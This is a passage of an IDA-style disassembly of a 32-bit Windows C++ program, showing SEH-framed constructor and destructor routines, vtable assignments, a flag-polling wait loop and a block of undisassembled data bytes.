[esp+14h+var_4], 24h call sub_401AE6 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AE6 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AE6 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AE6 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AE6 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AE6 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AE6 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AE6 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AE6 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AE6 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AE6 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AE6 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AE6 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AE6 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AE6 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AE6 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AE6 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AE6 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AE6 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AE6 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AE6 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AE6 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AE6 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AE6 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AE6 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AE6 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AE6 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AE6 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AE6 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AE6 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AE6 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417120 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417640 proc near ; CODE XREF: sub_4014FBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417640 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176E0 proc near ; CODE XREF: sub_401EA1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4177B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4177B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4177B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417870 proc near ; CODE XREF: sub_402239j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417870 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417870 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417930 proc near ; CODE XREF: sub_401ECEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179F0 proc near ; CODE XREF: sub_4018D9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_4017DAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AD0 proc near ; CODE XREF: sub_401B3Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417AD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417AD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B40 proc near ; CODE XREF: sub_401F46j add ecx, 4 jmp sub_401023 sub_417B40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BE0 proc near ; CODE XREF: sub_401E06j add ecx, 4 jmp sub_401023 sub_417BE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C00 proc near ; CODE XREF: sub_402013j add ecx, 4 jmp sub_401023 sub_417C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C20 proc near ; CODE XREF: sub_401F00j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417C20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417CC0 proc near ; CODE XREF: sub_401587j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417CC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D60 proc near ; CODE XREF: sub_40164Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E30 proc near ; CODE XREF: sub_401780j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401753 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417EF0 proc near ; CODE XREF: sub_40182Fj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F050 mov eax, esi pop esi retn sub_417EF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F20 proc near ; CODE XREF: sub_4016BDj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F05C mov eax, esi pop esi retn sub_417F20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F50 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418010 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418010 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4180D0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4180D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4180D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418150 proc near ; CODE XREF: sub_401D25j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset off_43F090 mov eax, esi pop esi retn sub_418150 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418180 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418180 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418200 proc near ; CODE XREF: sub_401A91j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418200 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418200 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418280 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F09C mov eax, esi pop esi retn sub_418280 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4182B0 proc near ; CODE XREF: sub_401CB7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4182B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4182B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_40157Dj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A4 mov eax, esi pop esi retn sub_418330 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418360 proc near ; CODE XREF: sub_401799j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A8 mov eax, esi pop esi retn sub_418360 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418390 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418390 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418390 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418430 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_5118D8 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418448: ; CODE XREF: sub_418430+E4j test bl, bl jnz loc_41851E mov al, [esi+8EF74h] test al, al jnz short loc_41845E mov bl, 1 jmp short loc_418472 ; --------------------------------------------------------------------------- loc_41845E: ; CODE XREF: sub_418430+28j lea ecx, [esi+15Fh] call sub_40186B test al, al setz bl test bl, bl jz short loc_418479 loc_418472: ; CODE XREF: sub_418430+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418479: ; CODE XREF: sub_418430+40j lea ecx, [esp+1Ch+var_C] call sub_4020A4 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F69 mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jz short loc_4184FE loc_4184B4: ; CODE XREF: sub_418430+CCj lea ecx, [esp+1Ch+var_C] call sub_402234 mov ecx, [eax] call sub_40174E lea ecx, [esp+1Ch+var_C] call sub_402234 mov eax, [eax] test eax, eax jz short loc_4184DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4184DB: ; CODE XREF: sub_418430+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jnz short loc_4184B4 loc_4184FE: ; CODE XREF: sub_418430+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418448 test bl, bl jz short loc_41852B loc_41851E: ; CODE XREF: sub_418430+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41852B: ; CODE XREF: sub_418430+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418430 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418590 proc near ; CODE XREF: sub_401771j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418590 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E8E9B mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4185D0 push eax jmp short loc_4185D5 ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_418590+3Bj push offset byte_448F30 loc_4185D5: ; CODE XREF: sub_418590+3Ej lea ecx, [esi+9FD57h] call sub_4015E1 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4185EE push edi jmp short loc_4185F3 ; --------------------------------------------------------------------------- loc_4185EE: ; CODE XREF: sub_418590+59j push offset byte_448F30 loc_4185F3: ; CODE XREF: sub_418590+5Cj lea ecx, [esi+9FD6Ch] call sub_4015E1 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418590 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h dd 244C8DFFh, 2685128h, 90000002h, 69E020E8h, 8E92E871h dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 90FFFE92h, 69BBE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418940: ; CODE XREF: ___:00402225j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418960: ; CODE XREF: 